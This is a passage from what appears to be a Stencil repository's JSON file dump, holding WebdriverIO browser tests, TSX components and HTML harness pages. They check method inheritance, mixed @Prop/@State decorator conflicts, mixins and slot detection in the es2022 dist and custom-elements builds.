await component.childMethod();\n      await component.overridableMethod();\n\n      // Verify all calls are tracked\n      const callLog = await component.getCallLog();\n      expect(callLog.length).toBe(4); // baseMethod, childMethod, overridableMethod:base, overridableMethod:child\n      expect(callLog[0]).toBe('baseMethod');\n      expect(callLog[1]).toBe('childMethod');\n      expect(callLog[2]).toBe('overridableMethod:base');\n      expect(callLog[3]).toBe('overridableMethod:child');\n    });\n\n    it('resets state correctly', async () => {\n      const component = frameContent.querySelector<any>('extends-methods');\n\n      // Make some calls\n      await component.baseMethod();\n      await component.childMethod();\n\n      let callLog = await component.getCallLog();\n      expect(callLog.length).toBeGreaterThan(0);\n\n      // Reset\n      await component.reset();\n\n      // Verify reset\n      callLog = await component.getCallLog();\n      expect(callLog.length).toBe(0);\n\n      const internalValue = await component.getInternalValue();\n      expect(internalValue).toBe('initial');\n    });\n  });\n\n  describe('es2022 custom-element output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      await browser.switchToParentFrame();\n      frameContent = await setupIFrameTest('/extends-methods/es2022.custom-element.html', 'es2022-custom-elements');\n      const frameEle = await browser.$('iframe#es2022-custom-elements');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.display-value'), { timeout: 5000 });\n\n      // Reset state before each test\n      const component = frameContent.querySelector<any>('extends-methods');\n      await component.reset();\n    });\n\n    it('inherits methods in custom elements build', async () => {\n      const component = frameContent.querySelector<any>('extends-methods');\n\n      const result = await component.baseMethod();\n      expect(result).toBe('base');\n\n      const internalValue = await component.getInternalValue();\n      expect(internalValue).toBe('baseMethod called');\n    });\n\n    it('overrides methods with super() in custom elements build', async () => {\n      const component = frameContent.querySelector<any>('extends-methods');\n\n      const result = await component.overridableMethod();\n      expect(result).toBe('base-overridable+child');\n\n      const callLog = await component.getCallLog();\n      expect(callLog).toContain('overridableMethod:base');\n      expect(callLog).toContain('overridableMethod:child');\n    });\n\n    it('executes child methods in custom elements build', async () => {\n      const component = frameContent.querySelector<any>('extends-methods');\n\n      const result = await component.childMethod();\n      expect(result).toBe('child');\n\n      await browser.pause(100);\n      const displayValue = frameContent.querySelector('.display-value')?.textContent;\n      expect(displayValue).toContain('Child: childMethod called');\n    });\n\n    it('composes methods in custom elements build', async () => {\n      const component = frameContent.querySelector<any>('extends-methods');\n\n      const result = await component.composedMethod();\n      expect(result).toBe('baseMethod called + child composition');\n\n      const callLog = await component.getCallLog();\n      expect(callLog).toContain('baseMethod');\n      expect(callLog).toContain('composedMethod:child');\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/ts-target/extends-methods/cmp.tsx",
    "content": "import { Component, h, Method, State } from '@stencil/core';\nimport { MethodBase } from './method-base.js';\n\n@Component({\n  tag: 'extends-methods',\n})\nexport class MethodsCmp extends MethodBase {\n  @State() displayValue: string = 'waiting...';\n\n  /**\n   * Child-specific method that uses parent's protected helper\n   */\n  @Method()\n  async childMethod(): Promise<string> {\n    this.callLog.push('childMethod');\n    this.internalValue = 'childMethod called';\n    this.displayValue = this.formatValue('Child');\n    return 'child';\n  }\n\n  /**\n   * Override parent method with super() call\n   */\n  @Method()\n  async overridableMethod(): Promise<string> {\n    // Call parent implementation\n    const baseResult = await super.overridableMethod();\n\n    // Add child behavior\n    this.callLog.push('overridableMethod:child');\n    this.internalValue = 'child override with super';\n    this.displayValue = this.formatValue('Override');\n\n    return `${baseResult}+child`;\n  }\n\n  /**\n   * Method that composes parent and child behavior\n   */\n  @Method()\n  async composedMethod(): Promise<string> {\n    // Call parent method\n    await this.baseMethod();\n\n    // Add child behavior\n    this.callLog.push('composedMethod:child');\n    const composed = `${this.internalValue} + child composition`;\n    this.internalValue = composed;\n    this.displayValue = this.formatValue('Composed');\n\n    return composed;\n  }\n\n  /**\n   * Method to trigger display update from test\n   */\n  @Method()\n  async updateDisplay(value: string): Promise<void> {\n    this.displayValue = value;\n  }\n\n  render() {\n    return (\n      <div>\n        <h2>Method Inheritance Test</h2>\n        <p class=\"display-value\">Display: {this.displayValue}</p>\n\n        <div class=\"info\">\n          <p class=\"test-info\">Test @Method inheritance, super() calls, and method composition</p>\n          <p class=\"features\">Features: @Method inheritance | super() calls | Method override | Protected helpers</p>\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-methods/es2022.custom-element.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist-custom-elements output - Method Inheritance</title>\n  <script type=\"module\">\n    import { defineCustomElement } from '/test-ts-target-output/custom-elements/extends-methods.js';\n    defineCustomElement()\n  </script>\n</head>\n<body>\n  <h1>ES2022 dist-custom-elements output - Method Inheritance</h1>\n  <extends-methods></extends-methods>\n</body>\n</html>\n\n"
  },
  {
    "path": "test/wdio/ts-target/extends-methods/es2022.dist.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist output - Method Inheritance</title>\n  <script src=\"/test-ts-target-output/dist/testtstarget/testtstarget.esm.js\" type=\"module\"></script>\n</head>\n<body>\n  <h1>ES2022 dist output - Method Inheritance</h1>\n  <extends-methods></extends-methods>\n</body>\n</html>\n\n"
  },
  {
    "path": "test/wdio/ts-target/extends-methods/method-base.ts",
    "content": "import { Method } from '@stencil/core';\n\nexport class MethodBase {\n  // Protected state that methods can manipulate\n  protected internalValue: string = 'initial';\n  protected callLog: string[] = [];\n\n  /**\n   * Base method that can be called by child components\n   */\n  @Method()\n  async baseMethod(): Promise<string> {\n    this.callLog.push('baseMethod');\n    this.internalValue = 'baseMethod called';\n    return 'base';\n  }\n\n  /**\n   * Method that will be overridden in child, with super() call\n   */\n  @Method()\n  async overridableMethod(): Promise<string> {\n    this.callLog.push('overridableMethod:base');\n    this.internalValue = 'base implementation';\n    return 'base-overridable';\n  }\n\n  /**\n   * Protected helper method for composition\n   */\n  protected formatValue(prefix: string): string {\n    return `${prefix}: ${this.internalValue}`;\n  }\n\n  /**\n   * Method to get the call log for testing\n   */\n  @Method()\n  async getCallLog(): Promise<string[]> {\n    return [...this.callLog];\n  }\n\n  /**\n   * Method to get internal value for testing\n   */\n  @Method()\n  async getInternalValue(): Promise<string> {\n    return this.internalValue;\n  }\n\n  /**\n   * Method to reset state for testing\n   */\n  @Method()\n  async reset(): Promise<void> {\n    this.internalValue = 'initial';\n    this.callLog = [];\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-mixed-decorators/cmp.test.ts",
    "content": "import { browser, expect } from '@wdio/globals';\nimport { setupIFrameTest } from '../../util.js';\n\n/**\n * Tests for mixed decorator types - same name used as different decorator types in inheritance chains.\n * Built with `tsconfig-es2022.json` > `\"target\": \"es2022\"` `dist` and `dist-custom-elements` outputs.\n *\n * Test Case #18 - Mixed Decorator Types\n * Features:\n * - @Prop in Base, @State in Component (mixedName)\n * - @State in Base, @Prop in Component (mixedStateName)\n * - Runtime behavior verification\n */\n\ndescribe('Test Case #18 – Mixed Decorator Types (Different decorator types, same name)', () => {\n  describe('es2022 dist output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest('/extends-mixed-decorators/es2022.dist.html', 'es2022-dist');\n      const frameEle = await browser.$('#es2022-dist');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.container'), { timeout: 5000 });\n    });\n\n    describe('@Prop in Base, @State in Component (mixedName)', () => {\n      it('component @State overrides base @Prop - component value is used', async () => {\n        const mixedName = frameContent.querySelector('.mixed-name-value');\n\n        expect(mixedName?.textContent).toContain('Mixed Name: component state value');\n        expect(mixedName?.textContent).not.toContain('base prop value');\n      });\n\n      it('component @State updates trigger re-renders correctly', async () => {\n        const button = frameContent.querySelector('.update-mixed-name') as HTMLButtonElement;\n\n        // Click button to update mixedName state\n        button?.click();\n\n        await browser.waitUntil(\n          () => {\n            const mixedName = frameContent.querySelector('.mixed-name-value');\n            return mixedName?.textContent?.includes('mixed name updated');\n          },\n          { timeout: 3000 },\n        );\n\n        const mixedName = frameContent.querySelector('.mixed-name-value');\n        expect(mixedName?.textContent).toContain('Mixed Name: mixed name updated');\n      });\n\n      it('component @State can be updated via method', async () => {\n        const component = frameContent.querySelector('extends-mixed-decorators') as any;\n        await component.updateMixedName('updated via method');\n\n        await browser.waitUntil(\n          () => {\n            const mixedName = frameContent.querySelector('.mixed-name-value');\n            return mixedName?.textContent?.includes('updated via method');\n          },\n          { timeout: 3000 },\n        );\n\n        const mixedName = frameContent.querySelector('.mixed-name-value');\n        expect(mixedName?.textContent).toContain('Mixed Name: updated via method');\n      });\n\n      it('base @Prop is not accessible (component @State wins)', async () => {\n        const mixedName = frameContent.querySelector('.mixed-name-value');\n\n        // Verify component @State value is used (not base @Prop)\n        expect(mixedName?.textContent).toContain('component state value');\n        expect(mixedName?.textContent).not.toContain('base prop value');\n\n        // Verify it behaves as a state (reactive, can be updated)\n        const component = frameContent.querySelector('extends-mixed-decorators') as any;\n        await component.updateMixedName('state behavior verified');\n\n        await browser.waitUntil(\n          () => {\n            const updated = frameContent.querySelector('.mixed-name-value');\n            return updated?.textContent?.includes('state behavior verified');\n          },\n          { timeout: 3000 },\n        );\n      });\n\n      it('component @State type is active (not base @Prop type)', async () => {\n        const mixedNameType = frameContent.querySelector('.mixed-name-type');\n\n        expect(mixedNameType?.textContent).toContain('component @State overrides base @Prop');\n      });\n    });\n\n    describe('@State in Base, @Prop in Component (mixedStateName)', () => {\n      it('component @Prop initial value is used (not base @State)', async () => {\n        const mixedStateName = frameContent.querySelector('.mixed-state-name-value');\n\n        expect(mixedStateName?.textContent).toContain('Mixed State Name: component prop value');\n        expect(mixedStateName?.textContent).not.toContain('base state value');\n      });\n\n      it('component @Prop conflicts with base @State - attribute updates may not work', async () => {\n        const component = frameContent.querySelector('extends-mixed-decorators');\n        const initialValue = frameContent.querySelector('.mixed-state-name-value')?.textContent;\n        component?.setAttribute('mixed-state-name', 'updated via attribute');\n\n        // Wait to see if update occurs\n        await browser\n          .waitUntil(\n            () => {\n              const mixedStateName = frameContent.querySelector('.mixed-state-name-value');\n              return mixedStateName?.textContent?.includes('updated via attribute');\n            },\n            { timeout: 3000 },\n          )\n          .catch(() => {\n            // If update doesn't occur, document this as runtime behavior\n            const mixedStateName = frameContent.querySelector('.mixed-state-name-value');\n            // Verify initial value is still present (conflict prevents update)\n            expect(mixedStateName?.textContent).toContain('component prop value');\n          });\n      });\n\n      it('component @Prop conflicts with base @State - property updates may not work', async () => {\n        const component = frameContent.querySelector('extends-mixed-decorators') as any;\n        component.mixedStateName = 'updated via property';\n\n        // Wait to see if update occurs\n        await browser\n          .waitUntil(\n            () => {\n              const mixedStateName = frameContent.querySelector('.mixed-state-name-value');\n              return mixedStateName?.textContent?.includes('updated via property');\n            },\n            { timeout: 3000 },\n          )\n          .catch(() => {\n            // If update doesn't occur, document this as runtime behavior\n            const mixedStateName = frameContent.querySelector('.mixed-state-name-value');\n            // Verify initial value is still present (conflict prevents update)\n            expect(mixedStateName?.textContent).toContain('component prop value');\n          });\n      });\n\n      it('base @State conflicts with component @Prop - initial value shows component prop', async () => {\n        const mixedStateName = frameContent.querySelector('.mixed-state-name-value');\n\n        // Verify component @Prop initial value is used (not base @State)\n        expect(mixedStateName?.textContent).toContain('component prop value');\n        expect(mixedStateName?.textContent).not.toContain('base state value');\n\n        // Document that conflicts may prevent updates\n        // This is the actual runtime behavior being tested\n      });\n    });\n\n    describe('Runtime Behavior', () => {\n      it('only one version exists in final component (component decorator type wins)', async () => {\n        const mixedName = frameContent.querySelector('.mixed-name-value');\n        const mixedStateName = frameContent.querySelector('.mixed-state-name-value');\n\n        // Verify component decorator types are active (not base)\n        expect(mixedName?.textContent).toContain('component state value');\n        expect(mixedStateName?.textContent).toContain('component prop value');\n\n        // Verify base values are not present\n        expect(mixedName?.textContent).not.toContain('base prop value');\n        expect(mixedStateName?.textContent).not.toContain('base state value');\n      });\n\n      it('winning decorator types behave correctly', async () => {\n        const component = frameContent.querySelector('extends-mixed-decorators') as any;\n\n        // Test @State behavior (mixedName) - this works correctly\n        await component.updateMixedName('state reactivity verified');\n        await browser.waitUntil(\n          () => {\n            const updated = frameContent.querySelector('.mixed-name-value');\n            return updated?.textContent?.includes('state reactivity verified');\n          },\n          { timeout: 3000 },\n        );\n\n        // Test @Prop behavior (mixedStateName) - may conflict with base @State\n        component.mixedStateName = 'prop attribute verified';\n        await browser\n          .waitUntil(\n            () => {\n              const updated = frameContent.querySelector('.mixed-state-name-value');\n              return updated?.textContent?.includes('prop attribute verified');\n            },\n            { timeout: 3000 },\n          )\n          .catch(() => {\n            // If update doesn't occur, document conflict behavior\n            const updated = frameContent.querySelector('.mixed-state-name-value');\n            expect(updated?.textContent).toContain('component prop value');\n          });\n      });\n\n      it('non-conflicting base decorators remain accessible', async () => {\n        const baseOnlyProp = frameContent.querySelector('.base-only-prop-value');\n        const baseOnlyState = frameContent.querySelector('.base-only-state-value');\n        const component = frameContent.querySelector('extends-mixed-decorators') as any;\n\n        expect(baseOnlyProp?.textContent).toContain('base only prop value');\n        expect(baseOnlyState?.textContent).toContain('base only state value');\n\n        // Verify base method is still accessible\n        await component.resetMethodCallLog();\n        const result = await component.baseOnlyMethod();\n        expect(result).toBe('base only method');\n\n        const baseLog = await component.getMethodCallLog();\n        expect(baseLog).toContain('baseOnlyMethod');\n      });\n    });\n  });\n\n  describe('es2022 custom-element output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      await browser.switchToParentFrame();\n      frameContent = await setupIFrameTest(\n        '/extends-mixed-decorators/es2022.custom-element.html',\n        'es2022-custom-elements',\n      );\n      const frameEle = await browser.$('iframe#es2022-custom-elements');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.container'), { timeout: 5000 });\n    });\n\n    it('component @State overrides base @Prop in custom elements build', async () => {\n      const mixedName = frameContent.querySelector('.mixed-name-value');\n\n      expect(mixedName?.textContent).toContain('Mixed Name: component state value');\n      expect(mixedName?.textContent).not.toContain('base prop value');\n    });\n\n    it('component @Prop overrides base @State in custom elements build', async () => {\n      const mixedStateName = frameContent.querySelector('.mixed-state-name-value');\n\n      expect(mixedStateName?.textContent).toContain('Mixed State Name: component prop value');\n      expect(mixedStateName?.textContent).not.toContain('base state value');\n    });\n\n    it('component decorator types take precedence in custom elements build', async () => {\n      const mixedName = frameContent.querySelector('.mixed-name-value');\n      const mixedStateName = frameContent.querySelector('.mixed-state-name-value');\n\n      expect(mixedName?.textContent).toContain('component state value');\n      expect(mixedStateName?.textContent).toContain('component prop value');\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/ts-target/extends-mixed-decorators/cmp.tsx",
    "content": "import { Component, Element, h, Method, Prop, State } from '@stencil/core';\nimport { MixedDecoratorsBase } from './mixed-decorators-base.js';\n\n/**\n * MixedDecoratorsCmp - Demonstrates mixed decorator type conflicts in inheritance chains\n *\n * This component:\n * 1. Extends MixedDecoratorsBase (inherits base decorators)\n * 2. Defines conflicting decorators with same names but different decorator types\n * 3. Verifies runtime behavior when mixed decorator types exist\n * 4. Renders UI showing which decorator type is active (component decorator type should win)\n */\n@Component({\n  tag: 'extends-mixed-decorators',\n})\nexport class MixedDecoratorsCmp extends MixedDecoratorsBase {\n  @Element() el!: HTMLElement;\n\n  // Mixed decorator type conflicts - same name, different decorator type\n  // Base has @Prop, component has @State - component @State should override base @Prop\n  @State() mixedName: string = 'component state value';\n\n  // Base has @State, component has @Prop - component @Prop should override base @State\n  @Prop() mixedStateName: string = 'component prop value';\n\n  // Component-specific properties for comparison\n  @State() componentOnlyState: string = 'component only state';\n\n  /**\n   * Method to update mixedName state for testing\n   */\n  @Method()\n  async updateMixedName(value: string): Promise<void> {\n    this.mixedName = value;\n  }\n\n  /**\n   * Method to update component-only state\n   */\n  @Method()\n  async updateComponentOnlyState(value: string): Promise<void> {\n    this.componentOnlyState = value;\n  }\n\n  render() {\n    return (\n      <div class=\"container\">\n        <h2>Mixed Decorator Types Test</h2>\n\n        <div class=\"prop-state-conflict\">\n          <h3>@Prop in Base, @State in Component (mixedName)</h3>\n          <p class=\"mixed-name-value\">Mixed Name: {this.mixedName}</p>\n          <p class=\"mixed-name-type\">Expected: component state value (component @State overrides base @Prop)</p>\n        </div>\n\n        <div class=\"state-prop-conflict\">\n          <h3>@State in Base, @Prop in Component (mixedStateName)</h3>\n          <p class=\"mixed-state-name-value\">Mixed State Name: {this.mixedStateName}</p>\n          <p class=\"mixed-state-name-type\">Expected: component prop value (component @Prop overrides base @State)</p>\n        </div>\n\n        <div class=\"base-only-props\">\n          <h3>Base-Only Properties (Not Conflicted)</h3>\n          <p class=\"base-only-prop-value\">Base Only Prop: {this.baseOnlyProp}</p>\n          <p class=\"base-only-state-value\">Base Only State: {this.baseOnlyState}</p>\n        </div>\n\n        <div class=\"component-only-state\">\n          <h3>Component-Only State</h3>\n          <p class=\"component-only-state-value\">Component Only State: {this.componentOnlyState}</p>\n        </div>\n\n        <div class=\"actions\">\n          <button class=\"update-mixed-name\" onClick={() => this.updateMixedName('mixed name updated')}>\n            Update Mixed Name (State)\n          </button>\n          <button\n            class=\"update-component-only-state\"\n            onClick={() => this.updateComponentOnlyState('component only updated')}\n          >\n            Update Component Only State\n          </button>\n        </div>\n\n        <div class=\"test-info\">\n          <p>Features: @Prop/@State conflicts | @State/@Prop conflicts | Runtime behavior</p>\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-mixed-decorators/es2022.custom-element.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n  <meta charset=\"utf-8\">\n  <title>ES2022 dist-custom-elements output - Mixed Decorator Types</title>\n  <script type=\"module\">\n    import { defineCustomElement } from '/test-ts-target-output/custom-elements/extends-mixed-decorators.js';\n    defineCustomElement();\n  </script>\n</head>\n<body>\n  <h1>ES2022 dist-custom-elements output - Mixed Decorator Types</h1>\n  <extends-mixed-decorators></extends-mixed-decorators>\n</body>\n</html>\n\n"
  },
  {
    "path": "test/wdio/ts-target/extends-mixed-decorators/es2022.dist.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n  <meta charset=\"utf-8\">\n  <title>ES2022 dist output - Mixed Decorator Types</title>\n  <script src=\"/test-ts-target-output/dist/testtstarget/testtstarget.esm.js\" type=\"module\"></script>\n</head>\n<body>\n  <h1>ES2022 dist output - Mixed Decorator Types</h1>\n  <extends-mixed-decorators></extends-mixed-decorators>\n</body>\n</html>\n\n"
  },
  {
    "path": "test/wdio/ts-target/extends-mixed-decorators/mixed-decorators-base.ts",
    "content": "import { Prop, State, Method } from '@stencil/core';\n\n/**\n * MixedDecoratorsBase - Base class demonstrating mixed decorator type conflicts\n *\n * This base class provides:\n * 1. @Prop, @State, and @Method decorators that will conflict with different decorator types in component\n * 2. Non-conflicting properties/methods for comparison\n * 3. Tracking mechanism to verify which version is used\n */\nexport class MixedDecoratorsBase {\n  // Properties that will conflict with different decorator types in component\n  @Prop() mixedName: string = 'base prop value';\n  @State() mixedStateName: string = 'base state value';\n\n  // Non-conflicting properties for comparison\n  @Prop() baseOnlyProp: string = 'base only prop value';\n  @State() baseOnlyState: string = 'base only state value';\n\n  // Tracking mechanism to verify which method is called\n  protected methodCallLog: string[] = [];\n\n  /**\n   * Method that will conflict with @Prop in component\n   */\n  @Method()\n  async mixedMethodName(): Promise<string> {\n    this.methodCallLog.push('mixedMethodName:base');\n    return 'base method';\n  }\n\n  /**\n   * Non-conflicting method for comparison\n   */\n  @Method()\n  async baseOnlyMethod(): Promise<string> {\n    this.methodCallLog.push('baseOnlyMethod');\n    return 'base only method';\n  }\n\n  /**\n   * Method to get the call log for testing\n   */\n  @Method()\n  async getMethodCallLog(): Promise<string[]> {\n    return [...this.methodCallLog];\n  }\n\n  /**\n   * Method to reset call log for testing\n   */\n  @Method()\n  async resetMethodCallLog(): Promise<void> {\n    this.methodCallLog = [];\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-mixin/cmp.test.ts",
    "content": "import { browser } from '@wdio/globals';\nimport { setupIFrameTest } from '../../util.js';\nimport { testSuites } from '../extends-test-suite.test.js';\n\n/**\n * Smoke tests for extending component classes. Built with\n *  `tsconfig-es2022.json` > `\"target\": \"es2022\"` `dist` and `dist-custom-elements` outputs.\n */\n\ndescribe('Checks component classes can extend via the Stencil Mixin function', () => {\n  describe('es2022 dist output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest('/extends-mixin/es2022.dist.html', 'es2022-dist');\n      const frameEle = await browser.$('#es2022-dist');\n      frameEle.waitUntil(async () => !!frameContent.querySelector('.main-prop-1'), { timeout: 5000 });\n    });\n\n    it('renders default values', async () => {\n      const { defaultValue } = await testSuites(frameContent, 'extends-mixin-cmp');\n      await defaultValue();\n    });\n\n    it('re-renders values via attributes', async () => {\n      const { viaAttributes } = await testSuites(frameContent, 'extends-mixin-cmp');\n      await viaAttributes();\n    });\n\n    it('re-renders values via props', async () => {\n      const { viaProps } = await testSuites(frameContent, 'extends-mixin-cmp');\n      await viaProps();\n    });\n\n    it('calls watch handlers', async () => {\n      const { watchHandlers } = await testSuites(frameContent, 'extends-mixin-cmp');\n      await watchHandlers();\n    });\n\n    it('calls methods', async () => {\n      const { methods } = await testSuites(frameContent, 'extends-mixin-cmp');\n      await methods();\n    });\n  });\n\n  describe('es2022 dist-custom-elements output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      await browser.switchToParentFrame();\n      frameContent = await setupIFrameTest('/extends-mixin/es2022.custom-element.html', 'es2022-custom-elements');\n      const frameEle = await browser.$('iframe#es2022-custom-elements');\n      frameEle.waitUntil(async () => !!frameContent.querySelector('.main-prop-1'), { timeout: 5000 });\n    });\n\n    it('renders default values', async () => {\n      const { defaultValue } = await testSuites(frameContent, 'extends-mixin-cmp');\n      await defaultValue();\n    });\n\n    it('re-renders values via attributes', async () => {\n      const { viaAttributes } = await testSuites(frameContent, 'extends-mixin-cmp');\n      await viaAttributes();\n    });\n\n    it('re-renders values via props', async () => {\n      const { viaProps } = await testSuites(frameContent, 'extends-mixin-cmp');\n      await viaProps();\n    });\n\n    it('calls watch handlers', async () => {\n      const { watchHandlers } = await testSuites(frameContent, 'extends-mixin-cmp');\n      await watchHandlers();\n    });\n\n    it('calls methods', async () => {\n      const { methods } = await testSuites(frameContent, 'extends-mixin-cmp');\n      await methods();\n    });\n  });\n\n  describe('hydrate output', () => {\n    it('renders component during SSR hydration via attributes', async () => {\n      // @ts-ignore may not be existing when project hasn't been built\n      const mod = await import('/test-ts-target-output/hydrate/index.mjs');\n      await (await testSuites(document.body, 'extends-mixin-cmp')).ssrViaAttrs(mod);\n    });\n\n    it('renders component during SSR hydration via props', async () => {\n      // @ts-ignore may not be existing when project hasn't been built\n      const mod = await import('/test-ts-target-output/hydrate/index.mjs');\n      await (await testSuites(document.body, 'extends-mixin-cmp')).ssrViaProps(mod);\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/ts-target/extends-mixin/cmp.tsx",
    "content": "import { Component, h, Prop, State, Method, Watch, Mixin } from '@stencil/core';\nimport { MixinBFactory } from './mixin-b.js';\nimport { MixinAFactory } from './mixin-a.js';\n\n@Component({\n  tag: 'extends-mixin-cmp',\n})\nexport class MixinCmp extends Mixin(MixinAFactory, MixinBFactory) {\n  @Prop() prop1: string = 'default text';\n  @Watch('prop1')\n  prop1Changed(newValue: string) {\n    console.info('main class handler prop1:', newValue);\n  }\n\n  @State() state1: string = 'default state text';\n  @Watch('state1')\n  state1Changed(newValue: string) {\n    console.info('main class handler state1:', newValue);\n  }\n\n  @Method()\n  async method1() {\n    this.prop1 = 'main class method1 called';\n  }\n\n  render() {\n    return (\n      <div>\n        <p class=\"main-prop-1\">Main class prop1: {this.prop1}</p>\n        <p class=\"main-prop-2\">Main class prop2: {this.prop2}</p>\n        <p class=\"main-prop-3\">Main class prop3: {this.prop3}</p>\n        <p class=\"main-getter-prop\">Main class getterProp: {this.getterProp}</p>\n        <p class=\"main-state-1\">Main class state1: {this.state1}</p>\n        <p class=\"main-state-2\">Main class state2: {this.state2}</p>\n        <p class=\"main-state-3\">Main class state3: {this.state3}</p>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-mixin/es2022.custom-element.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist-custom-elements output</title>\n  <script type=\"module\">\n    import { defineCustomElement as defineExtendedCmp } from '/test-ts-target-output/custom-elements/extends-mixin-cmp.js';\n    defineExtendedCmp();\n  </script>\n</head>\n<body>\n  <h1>ES2022 dist-custom-elements output</h1>\n  <extends-mixin-cmp></extends-mixin-cmp>\n</body>\n</html>"
  },
  {
    "path": "test/wdio/ts-target/extends-mixin/es2022.dist.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist output</title>\n  <script src=\"/test-ts-target-output/dist/testtstarget/testtstarget.esm.js\" type=\"module\"></script>\n</head>\n<body>\n  <h1>ES2022 dist output</h1>\n  <extends-mixin-cmp></extends-mixin-cmp>\n</body>\n</html>"
  },
  {
    "path": "test/wdio/ts-target/extends-mixin/mixin-a.tsx",
    "content": "import { h, Prop, State, Method, Watch } from '@stencil/core';\n\nexport const MixinAFactory = (Base: any) => {\n  class MixinA extends Base {\n    @Prop() prop1: string = 'MixinA text';\n    @Watch('prop1')\n    prop1Changed(newValue: string) {\n      console.info('extended class handler prop1:', newValue);\n    }\n    @Prop() prop2: string = 'ExtendedCmp prop2 text';\n    @Watch('prop2')\n    prop2Changed(newValue: string) {\n      console.info('extended class handler prop2:', newValue);\n    }\n\n    @State() state1: string = 'ExtendedCmp state text';\n    @Watch('state1')\n    state1Changed(newValue: string) {\n      console.info('extended class handler state1:', newValue);\n    }\n    @State() state2: string = 'ExtendedCmp state2 text';\n    @Watch('state2')\n    state2Changed(newValue: string) {\n      console.info('extended class handler state2:', newValue);\n    }\n\n    @Method()\n    async method1() {\n      this.prop1 = 'ExtendedCmp method1 called';\n    }\n\n    @Method()\n    async method2() {\n      this.prop1 = 'ExtendedCmp method2 called';\n    }\n\n    render() {\n      return (\n        <div>\n          <p class=\"extended-prop-1\">Base Extended class prop 1: {this.prop1}</p>\n          <p class=\"extended-prop-2\">Base Extended class prop 2: {this.prop2}</p>\n          <p class=\"extended-state-1\">Base Extended class state 1: {this.state1}</p>\n          <p class=\"extended-state-2\">Base Extended class state 2: {this.state2}</p>\n        </div>\n      );\n    }\n  }\n  return MixinA;\n};\n"
  },
  {
    "path": "test/wdio/ts-target/extends-mixin/mixin-b.tsx",
    "content": "import { h, Prop, State, Method, Watch } from '@stencil/core';\n\nexport const MixinBFactory = (Base: any) => {\n  class MixinB extends Base {\n    @Prop() prop3: string = 'mixin b text';\n\n    /**\n     * Test getter/setter pattern in mixin - ensures default value is preserved\n     * and not overwritten with undefined during component initialization.\n     */\n    private _getterProp: string = 'getter default value';\n    @Prop()\n    get getterProp(): string {\n      return this._getterProp;\n    }\n    set getterProp(newValue: string) {\n      this._getterProp = newValue;\n    }\n    @Watch('prop3')\n    prop3Changed(newValue: string) {\n      console.info('mixin b handler prop3:', newValue);\n    }\n\n    @State() state3: string = 'mixin b state text';\n    @Watch('state3')\n    state3Changed(newValue: string) {\n      console.info('mixin b handler state3:', newValue);\n    }\n\n    @Method()\n    async method3() {\n      this.prop3 = 'mixin b method3 called';\n    }\n\n    render() {\n      return (\n        <div>\n          <p class=\"mixin-b-prop-1\">Another class prop3: {this.prop3}</p>\n          <p class=\"mixin-b-state-1\">Another class state3: {this.state3}</p>\n          <p class=\"mixin-b-getter-prop\">Mixin getter prop: {this.getterProp}</p>\n        </div>\n      );\n    }\n  }\n  return MixinB;\n};\n"
  },
  {
    "path": "test/wdio/ts-target/extends-mixin-slot/cmp.test.ts",
    "content": "import { browser, expect } from '@wdio/globals';\nimport { setupIFrameTest } from '../../util.js';\n\n/**\n * Tests for mixin slot detection. Verifies that Stencil properly walks into\n * mixin factory functions to detect slot elements for build conditionals.\n *\n * When the fix is working correctly, the slotted content should appear\n * inside the mixin-wrapper (between mixin-header and mixin-footer).\n *\n * When the fix is NOT working, the slotted content would be dumped outside\n * the component structure because Stencil wouldn't know there's a slot.\n */\ndescribe('Mixin slot detection', () => {\n  describe('es2022 dist output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest('/extends-mixin-slot/es2022.dist.html', 'es2022-dist');\n      const frameEle = await browser.$('#es2022-dist');\n      frameEle.waitUntil(async () => !!frameContent.querySelector('.component-root'), { timeout: 5000 });\n    });\n\n    it('renders slotted content inside the mixin wrapper', async () => {\n      const cmp = frameContent.querySelector('extends-mixin-slot-cmp');\n      expect(cmp).toBeDefined();\n\n      // The slotted content should be within the component\n      const slottedContent = cmp!.querySelector('.slotted-content');\n      expect(slottedContent).toBeDefined();\n      expect(slottedContent!.textContent).toBe('I am slotted content');\n\n      // Verify the mixin structure is present\n      const mixinWrapper = cmp!.querySelector('.mixin-wrapper');\n      expect(mixinWrapper).toBeDefined();\n\n      const header = cmp!.querySelector('.mixin-header');\n      expect(header).toBeDefined();\n      expect(header!.textContent).toBe('Mixin Content Header');\n\n      const footer = cmp!.querySelector('.mixin-footer');\n      expect(footer).toBeDefined();\n      expect(footer!.textContent).toBe('Mixin Content Footer');\n    });\n\n    it('slotted content should not be outside the component', async () => {\n      // If slot detection failed, the slotted content would be dumped at body level\n      const bodySlottedContent = frameContent.querySelector(':scope > .slotted-content');\n      expect(bodySlottedContent).toBeNull();\n    });\n  });\n\n  describe('es2022 dist-custom-elements output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      await browser.switchToParentFrame();\n      frameContent = await setupIFrameTest('/extends-mixin-slot/es2022.custom-element.html', 